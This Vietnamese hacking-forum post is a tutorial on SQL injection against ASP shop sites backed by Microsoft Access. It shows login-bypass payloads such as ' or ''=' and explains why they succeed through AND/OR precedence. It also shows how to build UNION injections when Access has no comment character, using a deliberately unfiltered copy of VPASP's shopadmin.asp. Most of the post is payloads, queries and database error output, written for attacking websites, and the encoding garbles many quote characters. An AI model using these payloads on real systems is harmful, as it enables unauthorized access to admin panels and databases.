Một trong những câu hỏi thường gặp nhất khi các bạn đi hack website mà hệ quản trị CSDL nĩ xài Access là ỘTại sao lúc thì dùng Union exploit được nhưng lúc thì lại là 1 cái error khĩ chịu tương tự thế này
Error Type:
Microsoft JET Database Engine (0x80004005) Syntax error in FROM clause. Ộ
bắn ra ??và liệu cĩ thể cĩ các nào khai thác tiếp được ko ,xin thưa rằng sở dĩ chúng ta bị như vậy chẳng qua Access ko cĩ kắ tự comment kiểu như ỔỞỔ như trong MSSQL ,nếu cĩ thì ko cịn gì để nĩi Ầmình thì chỉ cĩ vài kinh nghiệm sơ
sơ về vụ này nên viết bài này hy vọng phần nào giảI đáp thắc mắc của các ban
Do rules của HVA là ko được public các site lỗi ,nên mình đành phải tự chế biến code lại của thằng vpasp và up lên cái host tạm để test
Ok Ầlinktest
http://b.domaindlx.com/philips/asp/shopadmin.asp
code verify user+pass trong file shopadmin.asp là username=request("Username")
userpassword=request("password") if ucase(Username)<>"SUPPLIER" then
sql = "select * from tbluser where fldusername='" & username & "' and fldpassword='" & userpassword & "'" //hì,thực tế mình đã del 2 dịng code
[QUOTE]username=replace(username,"'","")
userpassword=replace(userpassword,"'","")[/QUOTE]
lọc dấu nháy đơn nên hiện giờ nĩ đã bị bypass,và cũng xin nĩi sâu hơn chút về by pass tại cái form này nếu bạn insert
[QUOTE]username:Ỗ or ỔỖ=Ỗ password:anything[/QUOTE]
thì ko được,nhưng nếu các bạn bypass như thế này [QUOTE]username:anything
password:Ỗ or ỔỖ=Ỗ[/QUOTE]
thì lạI ok ,tạI sao vậy ??nguyên nhân do nếu bạn by pass theo kiểu trường hợp 1 thì đọan query get từ form sẽ là sql = "select * from tbluser where fldusername=ỖỖ or ỔỖ=ỖỖ and fldpassword=ỖanythingỖ[/QUOTE]
do thứ tựưu tiên của phép tĩan nên phép tĩan and sẽđược ưu tiên trước phép or vì thế
thì vế ỔỖ=ỖỖ and fldpassword=ỖanythingỖ sẽđược thực thi trước và cĩ chân trị là false
(do ỔỖ=ỖỖ true but fldpassword=ỖanythingỖ false à qua phép and sẽ là false ) sau đĩ được or với query cịn lại là fldusername=ỖỖ or false là false (do cái fldusername=ỖỖ là false nên or 2 vế false ra false )
-->ko bypass được cịn trường hợp 2
[QUOTE]sql = "select * from tbluser where fldusername=ỖanythingỖ and fldpassword=ỖỖ or ỔỖ=ỖỖ[/QUOTE] do thứ tựưu tiên của phép tĩan phép tĩan and sẽđược ưu tiên trước phép or vì thế
vế fldusername=ỖanythingỖ and fldpassword=ỖỖ sẽ thực thi trước và sẽ cĩ giá trị false (do fldusername=ỖanythingỖ là false và fldpassword=ỖỖ cũng false nốt,nhưng sau đĩ nĩ lại được or ỔỖ=ỖỖ (ỔỖ=ỖỖ luơn đúng ) nên chân trị nguyên query này là true --> by pass
Ầphù vì thế trước giờ các bác đi by pass tịan là username :Ỗ or ỔỖ=Ỗ
password :Ỗ or ỔỖ=Ỗ
cho chắc cú phảI ko nhể ??..hehe ,những cái em nĩi trên cho các bác hiểu sâu sâu về by pass chút thơi Thơi,nãy giờ lan man wá,ko đi vào chủđề chắnh
okẦbi giờ các bác inject nháy đơn để xem lạI chắnh xác nĩ cĩ bị sql ij hay ko ,sau khi ij và submit thì nĩ ra cái này Error Type:
[QUOTE]Microsoft JET Database Engine (0x80040E14)
Syntax error in string in query expression 'fldusername=''' and fldpassword='''.[/QUOTE] /asp/shopadmin.asp, line 34
Ok,trường hợp là các form login thì chúng ta rất dễ biết được tên column do error bắn ra (các trường hợp khác trên URL thì thường là ọc ra những column ko mong đơi chút nào )
Ok,giả sử chúng ta biết là table chứa 2 column fldusername,fldpassword là tbluser,okay,union xem sao [QUOTE]Username :Ỗ union select 1,1Ầ1 from tbluser
Password :anything[/QUOTE] Và nĩ ọc ra cái này đây [QUOTE]Error Type:
Microsoft JET Database Engine (0x80004005) Syntax error in FROM clause.
/asp/shopadmin.asp, line 34[/QUOTE] TạI sao vậy ?câu query get được từ form là
sql = "select * from tbluser where fldusername=ỖỖ union select 1,1.. from tbluser' and fldpassword=ỖanythingỖ bạn để ý ngay sau tbluser của query Union sẽ bị thừa 1 cái dấu nháy đơn do code chuẩn nĩ thêm vào nên câu query thật là vơ nghĩa ,họặc nếu cĩ thêm Ổand 1=2 union select Ầđi chăng nữa thì cũng vơ nghĩa nên nĩ mớI bắn ra cái thơng báo
[QUOTE]Syntax error in FROM clause.[/QUOTE] OkẦvậy thì chúng ta sẽ khắc phục như sau
Username :Ỗ union select 1 from tbluser where Ổ1Ỗ=Ỗ1 Password:anything
Mục đắch thêm cái where Ổ1Ỗ=Ỗ1 như vậy để cái dấu nháy của query tựđộng thêm nốt dấu nháy cịn lạI vào where Ổ1Ỗ=Ỗ1Ỗ --> hịan tịan hợp lý phảI ko nào ??
Và query lúc này như sau:
[QUOTE]sql = "select * from tbluser where fldusername=ỖỖ union select 1 from tbluser where Ổ1Ỗ=Ỗ1Ỗ and fldpassword='anythingỖ[/QUOTE]
hì,1 cái error quen thuộc bắn ra
[QUOTE]Microsoft JET Database Engine (0x80040E14)
The number of columns in the two selected tables or queries of a union query do not match.[/QUOTE] Phần cịn lại rất dễ,chắc các bác biết hết rồi nên ko nĩi ởđây
Xong Ầnhưng chỉ là xong khi chúng ta khắc phục điều này khi exploit SQL ij trên các form login mà thơi ,cịn trên các URL thì sao ,cĩ gì khác so với exploit trên form ?? hẹn các bạn bài sau trong thờI gian tới (bây giờ bận thi học kì) MọI Feedback xin post lên 4rum,xin đừng PM,mail v..v